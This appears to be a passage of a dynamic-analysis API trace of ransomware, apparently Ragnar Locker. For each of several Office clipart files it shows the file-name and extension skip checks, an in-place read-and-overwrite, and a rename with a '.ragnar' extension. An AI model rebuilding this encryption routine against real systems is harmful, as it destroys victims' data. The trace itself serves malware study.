(lpString1="SO00917_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.645] lstrcmpiW (lpString1="SO00917_.WMF", lpString2="desktop.ini") returned 1 [0091.645] lstrcmpiW (lpString1="SO00917_.WMF", lpString2="iconcache.db") returned 1 [0091.645] lstrcmpiW (lpString1="SO00917_.WMF", lpString2="ntldr") returned 1 [0091.645] lstrcmpiW (lpString1="SO00917_.WMF", lpString2="ntuser.dat") returned 1 [0091.645] lstrcmpiW (lpString1="SO00917_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.645] lstrcmpiW (lpString1="SO00917_.WMF", lpString2="ntuser.ini") returned 1 [0091.645] lstrcmpiW (lpString1="SO00917_.WMF", lpString2="thumbs.db") returned -1 [0091.645] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.645] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.645] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.645] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.645] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.645] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.645] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf")) returned 0x20 [0091.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.646] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9644) returned 1 [0091.646] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x25a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.646] GetProcessHeap () returned 0x580000 [0091.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.646] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.647] VirtualAlloc (lpAddress=0x0, dwSize=0x25ac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.648] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.648] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.648] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x25ac, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x25ac, lpOverlapped=0x0) returned 1 [0091.648] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.648] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x25ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.649] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x25ac, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x25ac, lpOverlapped=0x0) returned 1 [0091.649] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x25ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.649] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.649] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x25ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.649] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.649] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.649] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.649] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.649] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.649] GetProcessHeap () returned 0x580000 [0091.649] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.649] CloseHandle (hObject=0xf4) returned 1 [0091.649] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" [0091.649] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.ragnar_FD7BD9FC" [0091.650] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.650] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00918_.WMF", cAlternateFileName="")) returned 1 [0091.650] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.650] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00918_.WMF" | out: lpString1="SO00918_.WMF") returned="SO00918_.WMF" [0091.650] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF") returned=".WMF" [0091.650] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.650] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="autorun.inf") returned 1 [0091.650] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="boot.ini") returned 1 [0091.650] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="bootfont.bin") returned 1 [0091.650] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="bootsect.bak") returned 1 [0091.651] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="bootmgr") returned 1 [0091.651] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="bootmgr.efi") returned 1 [0091.651] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.651] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="desktop.ini") returned 1 [0091.651] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="iconcache.db") returned 1 [0091.651] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="ntldr") returned 1 [0091.651] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="ntuser.dat") returned 1 [0091.651] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.651] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="ntuser.ini") returned 1 [0091.651] lstrcmpiW (lpString1="SO00918_.WMF", lpString2="thumbs.db") returned -1 [0091.651] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.651] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.651] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.651] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.651] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.651] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.651] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf")) returned 0x20 [0091.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.652] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8028) returned 1 [0091.652] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.652] GetProcessHeap () returned 0x580000 [0091.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.652] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.653] VirtualAlloc (lpAddress=0x0, dwSize=0x1f5c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.654] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.654] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.654] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f5c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f5c, lpOverlapped=0x0) returned 1 [0091.654] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.654] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f5c, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.654] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f5c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f5c, lpOverlapped=0x0) returned 1 [0091.655] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f5c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.655] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.655] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.655] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.655] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.655] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.655] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.655] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.655] GetProcessHeap () returned 0x580000 [0091.655] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.655] CloseHandle (hObject=0xf4) returned 1 [0091.655] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" [0091.655] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.ragnar_FD7BD9FC" [0091.656] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.656] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2944, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00935_.WMF", cAlternateFileName="")) returned 1 [0091.656] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.656] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00935_.WMF" | out: lpString1="SO00935_.WMF") returned="SO00935_.WMF" [0091.656] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF") returned=".WMF" [0091.656] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.656] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="autorun.inf") returned 1 [0091.656] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="boot.ini") returned 1 [0091.656] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="bootfont.bin") returned 1 [0091.656] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="bootsect.bak") returned 1 [0091.656] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="bootmgr") returned 1 [0091.657] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="bootmgr.efi") returned 1 [0091.657] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.657] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="desktop.ini") returned 1 [0091.657] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="iconcache.db") returned 1 [0091.657] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="ntldr") returned 1 [0091.657] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="ntuser.dat") returned 1 [0091.657] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.657] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="ntuser.ini") returned 1 [0091.657] lstrcmpiW (lpString1="SO00935_.WMF", lpString2="thumbs.db") returned -1 [0091.657] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.657] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.657] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.657] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.657] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.657] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.657] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf")) returned 0x20 [0091.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.658] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10564) returned 1 [0091.658] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x293b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.658] GetProcessHeap () returned 0x580000 [0091.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.658] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.660] VirtualAlloc (lpAddress=0x0, dwSize=0x2944, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.660] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.660] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.660] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2944, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2944, lpOverlapped=0x0) returned 1 [0091.661] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.661] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2944, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.661] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2944, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2944, lpOverlapped=0x0) returned 1 [0091.661] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2944, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.661] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.662] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.662] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.662] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.662] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.662] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.662] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.662] GetProcessHeap () returned 0x580000 [0091.662] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.662] CloseHandle (hObject=0xf4) returned 1 [0091.662] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" [0091.662] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.ragnar_FD7BD9FC" [0091.662] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.663] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1960, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00938_.WMF", cAlternateFileName="")) returned 1 [0091.663] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.663] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00938_.WMF" | out: lpString1="SO00938_.WMF") returned="SO00938_.WMF" [0091.663] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF") returned=".WMF" [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="autorun.inf") returned 1 [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="boot.ini") returned 1 [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="bootfont.bin") returned 1 [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="bootsect.bak") returned 1 [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="bootmgr") returned 1 [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="bootmgr.efi") returned 1 [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="desktop.ini") returned 1 [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="iconcache.db") returned 1 [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="ntldr") returned 1 [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="ntuser.dat") returned 1 [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="ntuser.ini") returned 1 [0091.663] lstrcmpiW (lpString1="SO00938_.WMF", lpString2="thumbs.db") returned -1 [0091.663] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.663] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.664] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.664] 